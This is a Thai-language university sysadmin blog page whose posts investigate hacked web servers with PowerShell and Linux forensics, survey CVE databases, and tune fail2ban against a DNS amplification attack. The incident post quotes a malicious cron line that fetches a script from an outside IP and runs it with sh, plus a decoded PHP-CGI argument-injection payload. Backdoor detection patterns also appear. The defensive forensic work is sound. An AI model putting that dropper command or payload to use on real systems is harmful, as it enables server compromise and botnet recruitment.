Category: Security

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #7

    คราวนี้ เป็นการตรวจสอบ ที่เป็น Windows Server 2008 32bit ที่ใช้ IIS6 เป็น Web Server และใช้ PHP 5.2.17  เครื่องของหน่วยงานภายในมหาวิทยาลัย ซึ่ง ถูก Google Webmaster Tools ตรวจพบว่า เครื่องดังกล่าวน่าจะโดน Hack และมีการวาง Backdoor เอาไว้

    เบื้องต้น พบว่า เครื่องนี้ ใช้ Joomla และรายงานของ Google ก็บอกไฟล์ปัญหา เป็น php ใน images/stories จึง เริ่มจากทำตาม วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 แต่ ต้องเปลี่ยนไปใช้คำสั่งบน PowerShell แทนที่จะเป็น Shell Script อย่างเดิม

    พื้นที่ Document Root อยู่ที่ c:\inetpub\wwwroot

    วิธีการตรวจสอบ

    1. ใช้  powershell ด้วยสิทธิ์ administrator privilege

    2. ค้นหา ไฟล์ *.php ซึ่งอยู่ใน directory “stories” (ใน PowerShell ทำงานแตกต่างจาก Shell Script มากๆ จึงต้องดัดแปลงบางอย่าง)

    gci c:\inetpub\wwwroot -rec -include "*stories*" | where {$_.psiscontainer} | gci -Filter "*.php"

    โดยที่คำสั่งนี้ ใช้ชื่อย่อ และมีความหมายดังนี้

    gci = Get-ChildItem : ทำงานเหมือนคำสั่ง find และใช้ option “-rec” ย่อมาจาก Recurse ซึ่งหมายถึง ค้นหาลงลึกไปใน Subdirectory ด้วย และ เอาเฉพาะใน Directory ย่อย “stories” เท่านั้น

    ส่วนการใช้ ไพพ์ “|” ก็ไม่เหมือนใน Shell Script ที่เป็นการส่ง String หรือข้อความตรงๆ แต่เป็นการส่งต่อ Object

    gci -Filter “*.php” หมายถึง เมื่อค้นหาลึกไปใน Subdirectory “stories” แล้ว ให้กรองเอาเฉพาะไฟล์ แบบ *.php

    ผลที่ได้คือ

    พบว่ามี php file จำนวนมาก ใน images/stories จริงๆ

    ดังภาพ

    3. ตรวจสอบ Log ซึ่งอยู่ที่ c:\inetpub\logs และค้นหาไฟล์ในนั้น ดูว่า มี “BOT.*JCE” บันทึกหรือไม่ ด้วยคำสั่ง

    gci c:\inetpub\logs -rec  | where {$_.psiscontainer} | gci -rec -filter "*.log" | get-content | select-string -pattern "BOT.*JCE"

    ผลที่ได้คือ

    ซึ่งพบว่า มีการโจมตีมาเป็นจำนวนมาก

    4. หา Backdoor อื่นๆ ที่อาจจะเกิดขึ้น หลังจาก Backdoor ใน images/stories เหล่านั้น โดยทดลองดูว่า มีไฟล์ใหม่เกิดขึ้น หลังจากแต่ละ Backdoor นั้นๆ 2 วันหรือไม่ ด้วยคำสั่ง

    $backdoor=gci C:\inetpub\wwwroot\sticorner\images\stories -filter "*.php"
    foreach ($f in $backdoor) {
      $other=gci C:\inetpub\wwwroot\ -rec -filter "*.php" | where-object { $_.LastWriteTime -ge $f.LastWriteTime -and $_.LastWriteTime -le ($f.LastWriteTime).adddays(+2) }  | %{$_.fullname}
     $f.fullname
     $other
    }

    จากการตรวจสอบ พบไฟล์อื่นๆบ้าง แต่ตรวจสอบแล้ว ในระยะเวลา 2 วันหลังจากวางไฟล์ ไม่มีการเขียน Backdoor อื่นๆเพิ่ม

    5. ตรวจสอบหา Backdoor พื้นฐาน ซึ่ง อาจจะใช้ eval แล้วตามด้วย base64_decode ด้วยคำสั่ง

    gci C:\inetpub\wwwroot\ -rec -filter "*.php" | select-string -pattern "eval.*base64" | select-object -unique path >  evalbase64.txt

    โดย เลือกเฉพาะไฟล์ *.php ที่มีคำสั่ง eval ตามด้วย base64_decode มาเก็บไว้ในไฟล์ evalbase64.txt เพื่อใช้ตรวจสอบต่อไป

    พบว่า มีไฟล์จำนวนมาก ที่เป็น Backdoor ดังกล่าว และ Hacker เอาไฟล์มาวางไว้เมื่อ 14/01/2556 แต่ ปลอมวันที่เป็น 15/12/2552 ด้วย ดังภาพ

    และไฟล์ที่พบ มีดังต่อไปนี้

    สำหรับคนที่ดูแล Windows Server ก็ลองใช้เทคนิคข้างต้น ในการค้นหา Backdoor ด้วย PowerShell ด้วย

    ขอให้โชคดีครับ

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6

    วันนี้ได้รับรายงาน ร้องเรียนจากองค์กรภายนอก ว่ามีเครื่องคอมพิวเตอร์จาก Domain ของ PSU ส่งข้อมูลจำนวนมาก ไปโจมตี ระบบเครือข่ายที่ต่างประเทศ จึงทำการสืบสวน

    เบื้องต้น พบว่า มาจากเครื่อง Web Server ของคณะหนึ่ง ซึ่งเพิ่งย้ายจากเครื่องเดิมซึ่งโดน Hack มาก่อน หวังขึ้นเครื่องใหม่ แล้วทุกอย่างคงจะดีขึ้น … แต่ก็ยังไม่ใช่

    จึงขออนุญาต ผู้ดูแลระบบของคณะ เข้าตรวจสอบ โดยการสร้าง Account แยกต่างหาก และรายงานทุกขั้นตอนการทำงานให้ทราบ

    สิ่งที่พบคือ เป็น Ubuntu และใช้ Apache + PHP + MySQL มีการใช้งาน CMS เป็น WordPress เป็นส่วนใหญ่ แต่มี Joomla แค่หนึ่งเดียว นอกจากนั้น ยังพบว่ามี phpMyAdmin ด้วย

    เริ่มต้นจาก ตรวจสอบตามกระบวนการใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #4 ก็ไม่พบความผิดปรกติใด

    ผู้ดูแลระบบแจ้งว่า หลังจากทราบข่าว ก็ตรวจสอบทันที มีข้อสังเกต ว่า มี Process แปลกๆ ทำงาน ซึ่งตรวจสอบด้วยคำสั่ง

    ps aux

    ได้ผลว่ามีโปรแกรมแปลกๆ ทำงานในพื้นที่ /tmp และพยายามติดต่อไปภายนอก ดังนี้

    ซึ่งทำงานด้วย User ชื่อ www-data ซึ่ง เป็น Web User ซึ่งผิดปรกติ โดยชื่อโปรแกรมที่ทำงาน ชื่อ

    /tmp/php
    /tmp/pnscan

    ดูจากคำสั่ง สงสัยได้ว่า จะมีการติดต่อไปยังภายนอก เพื่อทำการบางอย่าง …

    จึงตรวจสอบ พบว่าไฟล์ ด้วยคำสั่ง

    stat /tmp/php
    stat /tmp/pnscan

     ได้ผลดังนี้

    /tmp/php ไฟล์สร้างเมื่อประมาณ         2013-12-13 20:22:51
    /tmp/pnscan ไฟล์สร้างเมื่อประมาณ     2013-12-13 20:22:35

     จึงตรวจสอบต่อ ด้วยคำสั่ง

    top

    แล้วเลือกดู เฉพาะ Process ที่ทำงานด้วย www-data โดยกดปุ่ม u แล้ว พิมพ์ www-data

    ได้ผลดังนี้

     จึงเห็น Process แปลกๆ คือ .xx มีเลข PID คือ 24813

     จึงไปดูรายละเอียดว่าไฟล์ดังกล่าว อยู่ที่ใด ด้วยคำสั่ง

    ls -l /proc/24813

    ได้ผลดังนี้

     จึงทราบว่า Process ดังกล่าว ไปเรียกไฟล์จาก /dev/shm/.xx ซึ่งเป็นส่วนพื้นที่ของ Share Memory

    จึงลองใช้คำสั่ง

    ls -la /dev/shm/

     ได้ผลดังนี้

     พบว่า ไฟล์ดังกล่าว สร้างเมื่อเวลาประมาณ 2013-12-13 22:45 และ มีความพยายามจะสร้างอีกไฟล์ ชื่อ .x เมื่อเวลาประมาณ 2013-12-14 11:47

     เพื่อให้เห็นการทำงาน ของ Process ID 24813 ให้ละเอียดยิ่งขึ้น จึงปรับคำสั่ง จาก ps aux เป็น (เพิ่ม we เข้าไป)

    ps auxwe | grep 24813

    เพื่อให้แสดงผล แบบ Wide Output (w) และ แสดง Environment Variable (e) ที่เกี่ยวข้องด้วย ได้ผลดังนี้

     จากคำสั่งนี้ ทำให้ทราบว่า Hacker เรียกมาจาก

     REMOTE_ADDR=193.51.237.2
     QUERY_STRING=%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
     REQUEST_URI=/cgi-bin/php5

     

    จากข้อมูล REMOTE_ADDR ข้างต้น ไปค้นหา พบว่า Hacker มาจากประเทศ ฝรั่งเศษ โดยการค้นหาจาก

    http://whatismyipaddress.com/ip/193.51.237.2

     เมื่อข้อมูล QUERY_STRING ซึ่งเป็นข้อมูลแบบ URL Encode ไปผ่านการ Decode จะได้ข้อมูลเป็น

     -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

     และ จาก REQUEST_URI ก็พบว่า Hacker เรียกผ่าน PHP ในแบบ cgi-bin โดยผ่านค่าที่ได้จาก QUERY_STRING ไป ซึ่ง แม้ PHP ตัวหลักของ Web Server จะปิดการ allow_url_include, เปิด safe_mode หรือปิด functions ต่างๆก็ตาม ด้วย Code ข้างต้น ทำให้ Hacker สามารถเรียกใช้สิ่งที่ไม่อนุญาตไว้ได้ทั้งหมด โดยไม่สนใจตัว PHP ของ Web Server เลย

     แต่จากข้อมูลที่ได้มา ทราบแค่ว่า Hacker ใช้วิธีการโจมตีผ่านช่องโหว่ของ PHP ในแบบ cgi-bin เท่านั้น แต่ยังไม่ทราบว่า ไฟล์นี้ มาได้อย่างไร

    จึงค้นหาต่อ โดยการเปิดดูไฟล์ /var/log/syslog ทั้งหมด พบว่า มี User www-data เรียกใช้งาน Cron ซึ่งผิดปรกติด้วย จึง ใช้คำสั่งต่อไปนี้ ตรวจสอบ

    zgrep "www-data" /var/log/syslog*

     ผลที่ได้คือ

     /var/log/syslog.3.gz:Dec 14 11:47:01 phar2 CRON[24799]: (www-data) CMD (/tmp/update >/dev/null 2>&1)var/log/syslog.3.gz:Dec 14 11:47:34 phar2 crontab[24814]: (www-data) REPLACE (www-data)
    /var/log/syslog.3.gz:Dec 14 11:48:01 phar2 cron[1075]: (www-data) RELOAD (crontabs/www-data)
    /var/log/syslog.3.gz:Dec 15 00:00:01 phar2 CRON[29845]: (www-data) CMD (wget -q http://221.132.37.26/scen -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh)

     จึงใช้คำสั่ง

     wget -q http://221.132.37.26/scen

     เพื่อเอาไฟล์ชื่อ ‘scen’ จาก Website ดังกล่าวมาดู มีเนื้อหาดังนี้

    ซึ่ง การสร้าง cron นั้น จะไปฝังที่ /var/spool/cron/crontab โดยดูได้จากคำสั่ง

    ls -l /var/spool/cron/crontabs/

    ผลที่ได้คือ

    www-data.cron

    ซึ่ง แม้จะ Reboot เครื่อง หรือ Clear backdoor ต่างๆออกไปแล้ว ก็จะยังมี cron นี้ไปดึง Botnet กลับมาทุกสัปดาห์อยู่ดี

    จึงทำให้ทราบว่า Hacker เริ่มจาก

    1. เอาไฟล์มาวางไว้ใน /tmp ให้ได้ เช่น ชื่อไฟล์ /tmp/update, /tmp/sh หรืออะไรก็แล้วแต่

    2. จากนั้น ไฟล์เหล่านั้น ก็จะไป Download ผ่านโปรแกรมต่างๆ พวกนี้จะเรียกได้ว่าเป็น Botnet  เช่น เครื่องนี้ เป็นโปรแกรมในการ Scan Port เพื่อหาว่าในเครือข่ายปลายทาง มีบริการใดเปิดอยู่บ้างเป็นต้น หรือ จะฝังโปรแกรมแบบ Sniffer ไว้ก็สามารถทำได้เช่นกัน แต่แทนที่จะเก็บไว้ใน Directory ทั่วไป กลับเอาไปไว้ใน /dev/shm ซึ่งเป็น Share Memory ซึ่ง ผู้ดูแลระบบทั่วไป อาจจะไม่ได้ตรวจสอบ

    3. จากนั้นก็สั่ง Execute Botnet เหล่านั้น ให้ทำงานไป

    4. สร้าง crontab ชั่วคราว เพื่อให้ไปเอาโปรแกรมมาใหม่ แบบ Weekly หรือสัปดาห์ละครั้ง ไปเก็บไว้ในไฟล์ชื่อ /tmp/corn แล้วใช้คำสั่ง crontab /tmp/corn เพื่อเอา script ดังกล่าวเข้าทำงานใน Cron ของระบบ แล้ว สั่งทำงาน แล้วลบตัวเองทิ้ง จึงทำให้ ไม่สามารถหา ต้นตอได้ง่ายๆ

     เป็นเหตุให้ เครื่อง Web Server เครื่องนี้ ตกเป็น Botnet ตลอดไปนั่นเอง

     คำถามสำคัญ แล้ว … มันมีช่องโหว่ใด ???

     จึง ทดลองหาดูว่า มีไฟล์ใด /home (ซึ่งเครื่องนี้ ให้ผู้ใช้แต่ละคน สร้าง Website บนพื้นที่ /home ของตนเอง) ว่ามีไฟล์ใดบ้าง ที่มีการสั่งเขียนไฟล์ /tmp/php ด้วยคำสั่ง

     find /home -type f -exec grep '/tmp/php' {} \;

     ผลที่ได้คือ

    ในไฟล์ Documentation.html ของ phpMyAdmin ซึ่งระบุว่า

     และตรวจสอบ พบว่า ในบทความ  Debian: New phpmyadmin packages fix several vulnerabilities แจ้งว่า phpMyAdmin ไม่ได้ตรวจสอบสิทธิ์ให้ดีเพียงพอ จึงทำให้สามารถสร้างไฟล์ใน /tmp/ ได้ และแจ้งว่ามี CVE ที่กล่าวถึงใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #5 เกี่ยวกับ phpMyAdmin มีช่องโหว่ หมายเลข

    CVE-2008-7251

    CVE-2008-7252

    CVE-2009-4605

     สรุป

    1.ช่องโหว่ครั้งนี้ มาจาก phpMyAdmin ทำให้ Hacker สามารถสร้างไฟล์ใน /tmp ได้ และสามารถสร้าง Cron เพื่อดึง Botnet มาไว้ในเครื่องได้ และทำลายตัวเองทิ้งได้ด้วย

    2. ในอนาตค หากผู้ดูแลระบบ พบว่ามี Process แปลกๆ ให้ดูหมายเลข PID เช่น 24813 ก็ให้เปิด ls -la /proc/24813/ ก็จะทำให้ทราบ ต้นตอของ Process นั้นๆอยู่ที่ใด

    3. การบริหารจัดการ Log File มีความสำคัญอย่างยิ่ง ในระบบนี้ ได้เก็บ Log File ย้อนหลังไว้เพียงพอ ทำให้สามารถค้นหาต้นตอได้

    4. คาถาป้องกันตัว คือ
    “update เป็นนิจ
    ติดตามข่าวสาร
    อย่าเอาแต่เชื่ออาจารย์ (Tools)
    สร้างการป้องกัน
    ขยันอ่าน Log
    เตรียม Block ช่องโหว่
    สุขโขนั่นเป็นเรื่องชั่วคราว
    กรรมระยะยาว ของ SysAdmin”

    ขอให้โชคดี

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5

    จากที่ผ่านมา เราได้เรียนรู้จาก

    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4

    เราได้แต่ตามแก้ไขปัญหา เมื่อเกิดเรื่องขึ้นกับ Website ของเราแล้ว ถึงเวลาแล้ว ที่เราจะต้อง “Proactive” หรือ ทำงานเชิงรุกกันได้แล้ว

    ในโลกเทคโนโลยี มีคนเก่งๆมากมายที่เขาทุ่มเทเวลา เพื่อค้นหาช่องโหว่ต่างๆ ในที่นี้ กรณีของ Joomla ก็สามารถไปดูได้ที่

    Joomla Developer Network  http://developer.joomla.org/security.html

    จากเวปไซต์ดังกล่าว จะเป็นรายงานอย่างเป็นทางการของ Joomla, สิ่งที่ต้องสนใจ คือ

    • Severity: ความร้ายแรง ถ้าเป็นระดับ High, Critical แสดงว่า ร้ายแรง ต้องแก้ไขทันที

    • Versions: รุ่นของ Joomla ที่ได้รับผลกระทบ (ผู้เป็นเจ้าของ ควรรู้ว่าตัวเองใช้รุ่นใด)

    • Exploit type: ลักษณะของช่องโหว่ เช่น XSS, SQL Injection, RFI, Buffer Overflow และอื่นๆ (จะอธิบายในลำดับต่อไป)

    • Reported Date/Fixed Date : แสดง วันที่ที่ตรวจพบ จนถึงวันที่ Joomla ได้แก้ไขปัญหาดังกล่าว

    • CVE Number: แสดงตัวเลขอ้างอิง สำหรับการตรวจสอบกับระบบรักษาความปลอดภัยต่างๆ ถ้ามีตัวเลข CVE แล้ว แสดงว่าปัญหาดังกล่าวมีการยืนยันว่าเป็นปัญหา และมีคนหาทางแก้ไขปัญหาแล้ว รวมถึง มักจะมี Exploited Tools หรือ เครื่องมือในการทดสอบแล้วด้วย ซึ่ง ก็จะมีพวก Script Kiddie หรือ พวกชอบลองของ เอาไปโจมตีเวปไซต์ต่างๆ ทั้งเพื่อความสนุกสนาน และทำลายล้าง (จะอธิบายในลำดับถัดไป)

    • Description และ Solution: รายละเอียดของปัญหา และแนวทางแก้ไข

    CVE ย่อมาจาก Common Vulnerabilities and Exposures ดูรายละเอียดเพิ่มเติมที่ http://cve.mitre.org/ เรียกได้ว่า เป็น ชื่อทางการของช่องโหว่ โดยมีรูปแบบเป็น CVE-YYYY-NNNN โดยที่ YYYY เป็นปี ค.ศ. ที่ค้นพบช่องโหว่ ส่วน NNNN แสดงลำดับในการค้นพบ ดังนั้น จะมีชื่อได้ 10,000 ชื่อ เช่น CVE-2013-5576 แสดงว่า เป็นช่องโหว่ เกิดขึ้นปี 2013 และเป็นลำดับที่ 5576 ของปีนั้น (แต่ ตั้งแต่ 1 ม.ค. 2014 จะมีการเปลี่ยนแปลงรูปแบบ ตัวเลขตั้งแต่ 0-9999 จะยังใช้ NNNN หรือ 4 Digit เหมือนเดิม แต่เมื่อมากกว่านั้น ก็สามารถขยายไปได้เรื่อยๆ เช่น CVE-0001 แต่เมื่อเกิน 10,000 ก็จะเป็น CVE-10001 หรือใช้ NNNNN เป็น 5 Digit นั่นเอง)

    ปัญหาอยู่ที่ว่า จาก Website ของ Joomla Developer Network มักไม่ค่อยให้รายละเอียดมากนัก จึงขอแนะนำ อีก Website คือ

    http://www.scip.ch/en/?vuldb

    เวปไซต์ดังกล่าว จะแสดงรายการช่องโหว่ต่างๆที่ค้นพบ จัดลำดับเวลาในการเกิดเหตุ และความร้ายแรงได้อีกด้วย

    ในกรณีที่ต้องการค้นหา ปัญหาของ Joomla 2.5 สามารถใช้ Google ช่วยค้นหาได้ โดยการค้นหาด้วยคำต่อไปนี้

    joomla 2.5 site:scip.ch

    จากผลการค้นหา จะพบว่า มีหลายช่องโหว่มาก ลองดูสักหนึ่งรายการ

    http://www.scip.ch/en/?vuldb.9847

    จากภาพ แสดงให้เห็นว่า เป็นช่องโหว่ระดับ Critical ของ Joomla รุ่น 2.5.1 / 3.1.4 ซึ่งทำให้ Hacker สามารถ Upload ไฟล์ Backdoor เข้าไปใน Website ได้ และ ช่องโหว่ดังกล่าว ได้ตัวเลข CVE คือ CVE-2013-5576 พบเมื่อ วันที่ 23 ส.ค. 2013

    นอกจากนั้น ยังแสดงรายละเอียดอื่นๆ ได้แก่ CVSS และ OSVDB ซึ่งจะเป็นการแสดงขนาดของผลกระทบ และความยากง่ายในการโจมตี  ซึ่งจะอธิบายต่อไป

    ต่อไป ลองไปดู รายละเอียดของ CVE-2013-5576 ที่
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5576

    จะพบว่า มีคนทำ Exploits ไว้แล้วที่  http://www.exploit-db.com/exploits/27610/

    สำหรับบางช่องโหว่ ก็มีคนไปสร้าง Patch หรือ วิธีแก้ไขให้แล้ว
    จากรุ่น 2.5.13 เป็น 2.5.14 ทำตามนี้
    https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8

    จากรุ่น 3.1.4 เป็น 3.1.5
    https://github.com/joomla/joomla-cms/commit/1ed07e257a2c0794ba19e864f7c5101e7e8c41d2

    CVSS and  OSVDB (เดียวกลับมาเขียนเพิ่มเติม)
    Common Vulnerability Scoring System (CVSS ) เป็นระบบการให้คะแนนช่องโหว่ เพื่อให้สามารถบริหารจัดการ รายละเอียดการคำนวนทั้งหมด ดูได้ที่นี่ http://www.first.org/cvss/cvss-guide.html
    Open Sourced Vulnerability Database (OSDB)

    CWE (Common Weakness Enumeration)

    นอกจากนั้น ยังมีเวปไซต์ ที่เราสามารถดู รายการช่องโหว่ ของ CMS หรือ Software ต่างๆ ได้ที่ CVE Details : http://www.cvedetails.com/

     Joomla มีประวัติช่องโหว่ดังนี้
    http://www.cvedetails.com/vendor/3496/Joomla.html

     Wordpress มีประวัติช่องโหว่ดังนี้
    http://www.cvedetails.com/vendor/2337/Wordpress.html

     

    Mambo ในอดีต และหยุดพัฒนาไปตั้งแต่ปี 2008 มีประวัติช่องโหว่ดังนี้
    http://www.cvedetails.com/vendor/842/Mambo.html

    หวังว่าจะมีประโยชน์ครับ

  • update fail2ban after DNS query attack

    หลังจากทิ้งไว้นานกว่า 1 ปี ในที่สุดการโจมตีในลักษณะของการ DOS attack สำหรับ DNS Server ก็กลับมาอีกรอบ

    วันนี้ (2013-12-11) คุณ สงกรานต์ก็ post ข้อความในกลุ่ม PSU Sysadmin บน facebook ว่า DNS Server หลายๆเครื่องที่อยู่ภายในเครือข่ายของ PSU มี traffic เกิดขึ้นมากผิดปกติ และมากกว่าตัว DNS Server หลักของมหาวิทยาลัยเอง {ns1,ns2}.psu.ac.th ซึ่งตัว DNS Server ทั้งสองโดยทั่วไปแล้ว เนื่องจากเป็นเซิร์ฟเวอร์ที่ให้บริการเป็นหลักให้กับเครื่องคอมพิวเตอร์ทั้งหมดภายในมหาวิทยาลัย ก็ควรที่จะมี traffic สูงกว่า DNS Server ตัวอื่นๆ แต่เมื่อเครื่อง DNS Server อื่นๆมี traffic สูงกว่า ก็พอที่จะบอกได้คร่าวๆล่ะว่า มีเหตุการณ์ผิดปกติเกิดขึ้นแน่ๆ

    ในจำนวน server เหล่านั้น มีเครื่องเซิร์ฟเวอร์ที่ผมดูแลอยู่ด้วย เป็นเครื่องที่ใช้สำหรับสอน นศ. ในรายวิชา Linux Server Admin. ซึ่งหัวข้อหนึ่งที่นศ.จะต้องเรียน ก็คือการติดตั้งและให้บริการ Name Service ซึ่งเครื่องเซิร์เวอร์เครื่องนี้ นอกจากจะใช้เป็นตัวอย่างในการ setup แล้ว ยังทำหน้าที่เป็น 2nd DNS ให้กับ domain ของ นศ. ทั้งหมดด้วย (นศ. มี domain ของตัวเองคนละ 1 domain)

    logfile ที่เกิดจากการ query มีขนาดมากกว่า 2GB จากการเก็บ log ของการ query ในช่วงเวลาประมาณ 3 วันครึ่ง (เริ่ม 2013-12-08 16:25 จนถึง 2013-12-11 12:40) เมื่อเทียบกับ log ปกติมีขนาดประมาณ 1-2 MB สำหรับการเก็บ log ในช่วง 1 สัปดาห์

    หรือถ้าเทียบในแง่ของจำนวนของการ query ในช่วง 3 วันที่ผ่านมามีการ query ประมาณ 18 ล้านครั้ง เมื่อเทียบกับการ query ปกติประมาณ 15,000 ครั้งต่อสัปดาห์

    การโจมติมาจากใหนบ้าง?

    7778377 95.211.115.114
    3870621 93.170.4.34
    2596494 94.198.114.135
    2581297 95.211.216.168
    331584 199.59.161.6
    53137 216.246.109.162
    47351 205.251.194.32
    46793 205.251.193.79
    41119 156.154.166.38
    39572 156.154.166.37
    39501 54.230.130.116
    36855 205.251.198.179
    34079 42.112.16.162
    31690 134.255.243.100
    28662 205.251.197.226
    27481 212.118.48.20
    23435 204.188.252.146
    20565 82.221.105.131
    20477 89.184.81.131
    19036 95.141.37.197
    17404 72.20.56.200
    14156 206.72.192.13
    11510 82.221.105.139
    10387 5.135.14.245

    ตัวเลขในคอลัมน์แรกคือจำนวนครั้งที่มีการ query และในคอลัมน์ที่สองเป็น ip address

    query อะไรบ้าง? ถ้าดูข้อมูลคร่าวๆก็จะได้

    08-Dec-2013 06:58:54.295 client 192.99.1.168#9118: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
    08-Dec-2013 06:58:54.296 client 192.99.1.168#19072: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)

    08-Dec-2013 06:58:54.297 client 192.99.1.168#31887: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
    08-Dec-2013 06:58:54.297 client 192.99.1.168#41984: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
    08-Dec-2013 06:58:54.297 client 192.99.1.168#58743: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
    08-Dec-2013 06:58:54.297 client 192.99.1.168#31137: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
    08-Dec-2013 06:58:54.300 client 192.99.1.168#28542: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)
    08-Dec-2013 06:58:54.300 client 192.99.1.168#2480: view theworld: query: adrenalinessss.cc IN A +E (172.30.0.85)

    และถ้าแยกตามการ query ก็จะได้

    17489596 adrenalinessss.cc
    543618 ilineage2.ru
    40400 dnsamplificationattacks.cc

    คอลัมน์แรกเป็นจำนวนครั้งของการ query และคอลัมน์ที่สองเป็น domain ที่มีการ query

    จาก config ของ bind9 บนตัว server ที่ setup เอาไว้ทุก query ที่ส่งมาจากภายนอกเครือข่ายของมหาวิทยาลัย มายัง domain ที่อยู่ในรายการข้างบนทั้งหมด จะถูก refused กลับไป

    เอ่อ: _ควรจะ_ refused กลับไป -_-”

    โดยการกำหนด option recursion ให้มีค่าเป็น “no” — config ตัวนี้สำหรับ debian (และ ubuntu?) จะอยู่ในไฟล์ /etc/bind/named.conf.options เพราะถ้า DNS server ไม่ได้ทำหน้าที่เป็น DNS Cache Server ก็ไม่ควรกำหนดให้ค่านี้เป็น yes

    สาเหตุที่มีบรรทัด “เอ่อ: _ควรจะ_ refused กลับไป” ข้างบน เพราะผมเพิ่งพบว่า ค่า config บน server ที่ผมดูแลอยู่มันยัง set ค่าให้เป็น yes อยู่ … เพราะต้องการให้ นศ. ทดสอบการ query จากภายนอกเครือข่าย PSU Net. แล้วลืม set ค่ากลับให้ถูกต้อง

    เพราะฉะนั้นในช่วงหลายวันที่ผ่านมาตัว Server ที่ผมดูแลอยู่ ก็ทำหน้าที่ช่วย DNS Amplification Attack ให้กับ bot ภายนอกอยู่ครับ -_-”

    ประเด็นหนึ่งที่อาจจะเป็นปัญหา สำหรับ DNS Server ภายในเครือข่ายมหาวิทยาลัย สงขลานครินทร์ ที่อาจจะเจอปัญหานี้ก็คือ DNS Server ที่ setup เอาไว้ในหน่วยงาน นอกจากจะใช้เป็น Authorized DNS Server สำหรับ domain ของตัวเองแล้ว DNS ตัวเดียวกันก็ยังทำหน้าที่เป็น DNS Cache Server สำหรับเครื่องคอมพิวเตอร์อื่นๆภายในเครือข่ายของหน่วยงานตนเองด้วย ซึ่งหน้าที่ทั้งสองนี้ควรจะแยกออกจากกัน

    ถ้ายังจำเป็นที่จะต้องใช้ร่วมกัน ก็อาจจะต้องกำหนด view (สำหรับ DNS Server ที่ใช้ bind9) ที่แตกต่างกัน เพื่อให้บริการการ resolve address แบบ DNS Cache Server ให้กับคอมพิวเตอร์ที่อยู่ภายในเครือข่ายของตนเอง และ ไม่ให้บริการการ resolve address อื่นๆ นอกเหนือจาก domain ของหน่วยงานเอง สำหรับเครื่องคอมพิวเตอร์อื่นๆ ที่อยู่นอกเครือข่ายของหน่วยงาน

    ถ้ามีเวลาเดี๋ยวจะกลับมาเขียนเรื่องนี้อีกรอบ แต่ตอนนี้ขอกลับไปเรื่องของ fail2ban ต่อ

    ผมเคยเขียนเรื่องของการ setup fail2ban เพื่อใช้สำหรับการตอบโต้การโจมตีแบบ DOS ซึ่งอยู่ที่นี่ http://sysadmin.psu.ac.th/2012/11/29/using-fail2ban-for-dns-brute-force-attack/

    ซึ่งจะว่าไปก็เป็นวิธีที่ยังมีปัญหาในตัวมันเองอยู่ เพราะการที่จะตอบโต้ได้ เราก็จะต้องรู้ก่อนว่าการโจมตีเป็นแบบใหน หรือในที่นี้ก็คือ domain ที่ query สำหรับการโจมตีคืออะไร

    มีวิธีการที่จะแก้ปัญหานี้โดยใช้ fail2ban ใหม? ผมยังไม่แน่ใจนัก (พอจะมี idea คร่าวๆ แต่ยังไม่ได้เริ่ม implement idea จริงๆ เลยยังไม่รู้ว่าจะใช้ได้จริงใหม)

    แต่ถ้าจะใช้เครื่องมือที่มีอยู่เพื่อแก้ปัญหาในขณะนี้ก่อน นั่นคือ การโจมตีที่เกิดขึ้น มีการ query กับหลายๆ domain ตามนี้

    17489596 adrenalinessss.cc
    543618 ilineage2.ru
    40400 dnsamplificationattacks.cc

    เราจะปรับปรุง config ของ fail2ban ให้รับมือกับจำนวน domain ที่เพ่ิมขึ้นได้อย่างไร?

    ก็โดยการแก้ไข filter โดยเปลี่ยนส่วนของ failregex ให้เป็นแบบนี้ครับ

    failregex = client <HOST>#.+: view theworld: query: ilineage2.ru
    client <HOST>#.+: view theworld: query: apidown.com
    client <HOST>#.+: view theworld: query: adrenalinessss.cc
    client <HOST>#.+: view theworld: query: isc.org
    client <HOST>#.+: view theworld: query: dnsamplificationattacks.cc
    client <HOST>#.+: view theworld: query: fkfkfkfa.com

    ส่วนของ config ไฟล์อื่นๆ และ ส่วนอื่นของ named-query-dos.conf  ก็ยังเหมือนเดิม อ้างอิงตามบันทึกที่แล้วนะครับ

